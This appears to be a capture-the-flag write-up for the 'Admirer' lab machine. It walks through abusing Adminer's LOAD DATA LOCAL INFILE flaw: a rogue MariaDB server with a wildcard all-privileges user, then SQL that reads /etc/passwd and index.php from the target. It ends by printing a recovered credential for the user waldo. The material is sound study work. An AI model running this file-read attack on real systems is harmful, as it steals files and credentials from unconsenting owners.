# 4 adminer-php

## Enumerate `adminer.php`

![adminer.php](https://59981524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVi4YGBnoacdq7xDXzGSm%2Fuploads%2Fgit-blob-10f1f3a24994d0623fd3e966a88928a701a65b43%2Fadmirer-adminer-php.png?alt=media)

Using <https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool>

* Update `bind-address=0.0.0.0` in `/etc/mysql/mariadb.conf.d/50-server.cnf`
* Need to setup mysql on kali. `sudo service mysql start`
* Reset root password for mysql using <https://www.techrepublic.com/article/how-to-set-change-and-recover-a-mysql-root-password/>

Create User on mysql

* `CREATE USER 'kashz'@'%' IDENTIFIED BY 'kashz';`
* `GRANT ALL ON *.* TO 'kashz'@'%' IDENTIFIED BY 'kashz';`
* `FLUSH PRIVILEGES;`

![adminer.php login](https://59981524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVi4YGBnoacdq7xDXzGSm%2Fuploads%2Fgit-blob-51eee7c81c37b4df6d1858e74e2129bb08b0e3ce%2Fadmirer-login.png?alt=media)

![adminer.php successful login](https://59981524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVi4YGBnoacdq7xDXzGSm%2Fuploads%2Fgit-blob-d5250e4b9135704587f794cfbf7a6d7314846a5d%2Fadmirer-login-success.png?alt=media)

* Create database `pwn`
* Create table `data` with field `out` as `varchar(256)`

## Trying to read `/etc/passwd`

```bash
load data local infile "/etc/passwd"
into table pwn.data
fields terminated by "\n";
```

![adminer.php successful login](https://59981524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVi4YGBnoacdq7xDXzGSm%2Fuploads%2Fgit-blob-90bf902a4f4e248805f1bf9d5b978842b05b40cb%2Fadmirer-sql-1.png?alt=media)

## Trying to read `/var/www/html/index.php`

```bash
load data local infile "/var/www/html/index.php"
into table pwn.data
fields terminated by "\n";
```

![adminer.php successful login](https://59981524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVi4YGBnoacdq7xDXzGSm%2Fuploads%2Fgit-blob-e8269b19e588599e47cce33d614e7f906bbdd198%2Fadmirer-sql-2.png?alt=media)

We see different password

![adminer.php successful login](https://59981524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVi4YGBnoacdq7xDXzGSm%2Fuploads%2Fgit-blob-d85a3e04334df07de8aaa978436b0de20a03bbdd%2Fadmirer-passwd.png?alt=media)

Using `waldo:&<h5b~yK3F#{PaPB&dA}{H>`

![adminer.php successful login](https://59981524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVi4YGBnoacdq7xDXzGSm%2Fuploads%2Fgit-blob-5beb36766551fab6b3d41b81ccce05f62290dc8b%2Fadmirer-user.png?alt=media)
